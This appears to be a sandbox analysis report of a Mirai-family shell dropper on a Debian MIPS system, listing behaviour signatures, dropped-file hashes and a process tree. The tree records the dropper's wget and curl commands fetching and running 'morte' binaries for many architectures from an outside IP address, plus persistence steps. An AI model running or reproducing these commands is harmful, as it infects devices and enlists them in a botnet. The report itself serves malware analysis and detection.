Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22/08/2025, 01:52

General

  • Target
    1.sh
  • Size 3KB
  • Sample250822-cap2vaal41
  • SHA256 3d2acd9571f1e62e42aaf6d34a320d96eb07a1d4b16cce9dc74885aeb0b03f4f
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:717
    • /usr/bin/wget
      wget http://196.251.73.215/00101010101001/morte.x86
      2⤵
      • Writes file to tmp directory
      PID:720
    • /usr/bin/curl
      curl -O http://196.251.73.215/00101010101001/morte.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:731
    • /bin/chmod
      chmod +x 1.sh busybox morte.x86 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
      2⤵
      • File and Directory Permissions Modification
      PID:738
    • /tmp/morte.x86
      ./morte.x86 morte.x86
      2⤵
        PID:739
      • /bin/rm
        rm -rf morte.x86
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://196.251.73.215/00101010101001/morte.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /usr/bin/curl
          curl -O http://196.251.73.215/00101010101001/morte.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod +x 1.sh busybox morte.mips systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/morte.mips
          ./morte.mips morte.mips
          2⤵
          • System Network Configuration Discovery
          PID:746
        • /bin/rm
          rm -rf morte.mips
          2⤵
          • System Network Configuration Discovery
          PID:748
        • /usr/bin/wget
          wget http://196.251.73.215/00101010101001/morte.arc
          2⤵
          • Writes file to tmp directory
          PID:749
        • /usr/bin/curl
          curl -O http://196.251.73.215/00101010101001/morte.arc
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod +x 1.sh busybox morte.arc systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/morte.arc
          ./morte.arc morte.arc
          2⤵
            PID:752
          • /bin/rm
            rm -rf morte.arc
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://196.251.73.215/00101010101001/morte.i468
              2⤵
                PID:755
              • /usr/bin/curl
                curl -O http://196.251.73.215/00101010101001/morte.i468
                2⤵
                • Writes file to tmp directory
                PID:760
              • /bin/chmod
                chmod +x 1.sh busybox morte.i468 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                2⤵
                • File and Directory Permissions Modification
                PID:768
              • /tmp/morte.i468
                ./morte.i468 morte.i468
                2⤵
                  PID:770
                • /bin/rm
                  rm -rf morte.i468
                  2⤵
                    PID:771
                  • /usr/bin/wget
                    wget http://196.251.73.215/00101010101001/morte.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:773
                  • /usr/bin/curl
                    curl -O http://196.251.73.215/00101010101001/morte.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:781
                  • /bin/chmod
                    chmod +x 1.sh busybox morte.i686 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                    2⤵
                    • File and Directory Permissions Modification
                    PID:792
                  • /tmp/morte.i686
                    ./morte.i686 morte.i686
                    2⤵
                      PID:793
                    • /bin/rm
                      rm -rf morte.i686
                      2⤵
                        PID:796
                      • /usr/bin/wget
                        wget http://196.251.73.215/00101010101001/morte.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:798
                      • /usr/bin/curl
                        curl -O http://196.251.73.215/00101010101001/morte.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod +x 1.sh busybox morte.x86_64 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                        2⤵
                        • File and Directory Permissions Modification
                        PID:813
                      • /tmp/morte.x86_64
                        ./morte.x86_64 morte.x86_64
                        2⤵
                          PID:814
                        • /bin/rm
                          rm -rf morte.x86_64
                          2⤵
                            PID:816
                          • /usr/bin/wget
                            wget http://196.251.73.215/00101010101001/morte.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:817
                          • /usr/bin/curl
                            curl -O http://196.251.73.215/00101010101001/morte.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:818
                          • /bin/chmod
                            chmod +x 1.sh busybox morte.mpsl systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                            2⤵
                            • File and Directory Permissions Modification
                            PID:819
                          • /tmp/morte.mpsl
                            ./morte.mpsl morte.mpsl
                            2⤵
                            • Enumerates active TCP sockets
                            • Modifies init.d
                            • Modifies rc script
                            • Reads process memory
                            • Changes its process name
                            • Reads system network configuration
                            • Reads runtime system information
                            PID:820
                            • /bin/sh
                              sh -c "cp ./morte.mpsl /usr/bin/.sh"
                              3⤵
                                PID:824
                                • /bin/cp
                                  cp ./morte.mpsl /usr/bin/.sh
                                  4⤵
                                  • Reads runtime system information
                                  PID:826
                            • /bin/rm
                              rm -rf morte.mpsl
                              2⤵
                                PID:822
                              • /usr/bin/wget
                                wget http://196.251.73.215/00101010101001/morte.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:825
                              • /usr/bin/curl
                                curl -O http://196.251.73.215/00101010101001/morte.arm
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:828
                              • /bin/chmod
                                chmod +x 1.sh busybox morte.arm systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                                2⤵
                                • File and Directory Permissions Modification
                                PID:829
                              • /tmp/morte.arm
                                ./morte.arm morte.arm
                                2⤵
                                  PID:830
                                • /bin/rm
                                  rm -rf morte.arm
                                  2⤵
                                    PID:832
                                  • /usr/bin/wget
                                    wget http://196.251.73.215/00101010101001/morte.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:833
                                  • /usr/bin/curl
                                    curl -O http://196.251.73.215/00101010101001/morte.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:837
                                  • /bin/chmod
                                    chmod +x 1.sh busybox morte.arm5 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:846
                                  • /tmp/morte.arm5
                                    ./morte.arm5 morte.arm5
                                    2⤵
                                      PID:847
                                    • /bin/rm
                                      rm -rf morte.arm5
                                      2⤵
                                        PID:850
                                      • /usr/bin/wget
                                        wget http://196.251.73.215/00101010101001/morte.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:851
                                      • /usr/bin/curl
                                        curl -O http://196.251.73.215/00101010101001/morte.arm6
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:858
                                      • /bin/chmod
                                        chmod +x 1.sh busybox morte.arm6 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:868
                                      • /tmp/morte.arm6
                                        ./morte.arm6 morte.arm6
                                        2⤵
                                          PID:869
                                        • /bin/rm
                                          rm -rf morte.arm6
                                          2⤵
                                            PID:872
                                          • /usr/bin/wget
                                            wget http://196.251.73.215/00101010101001/morte.arm7
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:873
                                          • /usr/bin/curl
                                            curl -O http://196.251.73.215/00101010101001/morte.arm7
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:876
                                          • /bin/chmod
                                            chmod +x 1.sh busybox morte.arm7 systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:877
                                          • /tmp/morte.arm7
                                            ./morte.arm7 morte.arm7
                                            2⤵
                                              PID:878
                                            • /bin/rm
                                              rm -rf morte.arm7
                                              2⤵
                                                PID:880
                                              • /usr/bin/wget
                                                wget http://196.251.73.215/00101010101001/morte.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:881
                                              • /usr/bin/curl
                                                curl -O http://196.251.73.215/00101010101001/morte.ppc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:882
                                              • /bin/chmod
                                                chmod +x 1.sh busybox morte.ppc systemd-private-259bb67e78554309b092855db2597eb0-systemd-timedated.service-KVKI4T
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:883
                                              • /tmp/morte.ppc
                                                ./morte.ppc morte.ppc
                                                2⤵
                                                  PID:884
                                                • /bin/rm
                                                  rm -rf morte.ppc
                                                  2⤵
                                                    PID:886
                                                  • /usr/bin/wget
                                                    wget http://196.251.73.215/00101010101001/morte.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:887
                                                  • /usr/bin/curl
                                                    curl -O http://196.251.73.215/00101010101001/morte.spc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:888
                                                  • /bin/chmod
                                                    chmod +x 1.sh busybox morte.spc
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:892
                                                  • /tmp/morte.spc
                                                    ./morte.spc morte.spc
                                                    2⤵
                                                      PID:893
                                                    • /bin/rm
                                                      rm -rf morte.spc
                                                      2⤵
                                                        PID:895
                                                      • /usr/bin/wget
                                                        wget http://196.251.73.215/00101010101001/morte.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:896
                                                      • /usr/bin/curl
                                                        curl -O http://196.251.73.215/00101010101001/morte.m68k
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:897
                                                      • /bin/chmod
                                                        chmod +x 1.sh busybox morte.m68k
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:898
                                                      • /tmp/morte.m68k
                                                        ./morte.m68k morte.m68k
                                                        2⤵
                                                          PID:899
                                                        • /bin/rm
                                                          rm -rf morte.m68k
                                                          2⤵
                                                            PID:901
                                                          • /usr/bin/wget
                                                            wget http://196.251.73.215/00101010101001/morte.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:902
                                                          • /usr/bin/curl
                                                            curl -O http://196.251.73.215/00101010101001/morte.sh4
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:903
                                                          • /bin/chmod
                                                            chmod +x 1.sh busybox morte.sh4
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:904
                                                          • /tmp/morte.sh4
                                                            ./morte.sh4 morte.sh4
                                                            2⤵
                                                              PID:905
                                                            • /bin/rm
                                                              rm -rf morte.sh4
                                                              2⤵
                                                                PID:907

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  sysd

                                                                  • Path /etc/init.d/sysd
                                                                  • Size 25B
                                                                  • SHA256 ba1d50d125344f273c249426ccd744d5a12e560ace41cca4bc55bd2d4a718d8f
                                                                  • MD5 SHA1 SHA512

                                                                  busybox

                                                                  • Path /tmp/busybox
                                                                  • Size 857KB
                                                                  • SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  morte.x86

                                                                  • Path /tmp/morte.x86
                                                                  • Size 37KB
                                                                  • SHA256 e8099bae8e84278b060f8651d0f601d2e3de08797024a0a13dba0138b3095b43
                                                                  • MD5 SHA1 SHA512 SSDEEP